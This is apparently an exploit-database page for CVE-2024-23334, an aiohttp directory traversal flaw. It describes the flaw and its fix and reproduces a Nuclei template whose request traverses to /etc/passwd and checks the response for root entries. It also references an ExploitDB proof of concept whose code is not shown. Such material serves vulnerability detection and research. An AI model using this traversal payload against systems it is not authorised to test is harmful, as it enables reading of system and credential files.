Materialized exploit

CVE-2024-23334

HIGH

2 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

Nuclei high Verified

Source

aiohttp - Directory Traversal

By projectdiscovery

How to test this exploit

The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.

nuclei -id CVE-2024-23334 -u https://your-target

Template yaml

id: CVE-2024-23334

info:
  name: aiohttp - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
  remediation: |
    Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
  reference:
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
    - https://x.com/W01fh4cker/status/1762491210953060827?s=20
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23334
    cwe-id: CWE-22
    epss-score: 0.76875
    epss-percentile: 0.99511
    cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aiohttp
    product: aiohttp
  tags: cve,cve2024,aiohttp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "aiohttp"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c5990b4baa4d0fa70582fe7471f786d82e6c35f66d999a2db4d3a3702f168df102202a717b2cd9d19aa5d96c54413048c494f4b2a84a61c465f224b2c30549e3d7ae:922c64590222798bb761d5b6d8e72950

ExploitDB webapps python

Source

aiohttp 3.9.1 - directory traversal PoC

By Beatriz Fresno Naumova

How to test this exploit

Web exploit. Deploy a vulnerable instance in a lab, serve the script/request against it, and observe the response.

Code

Content not materialized yet (fetched on the next cycle).

View at source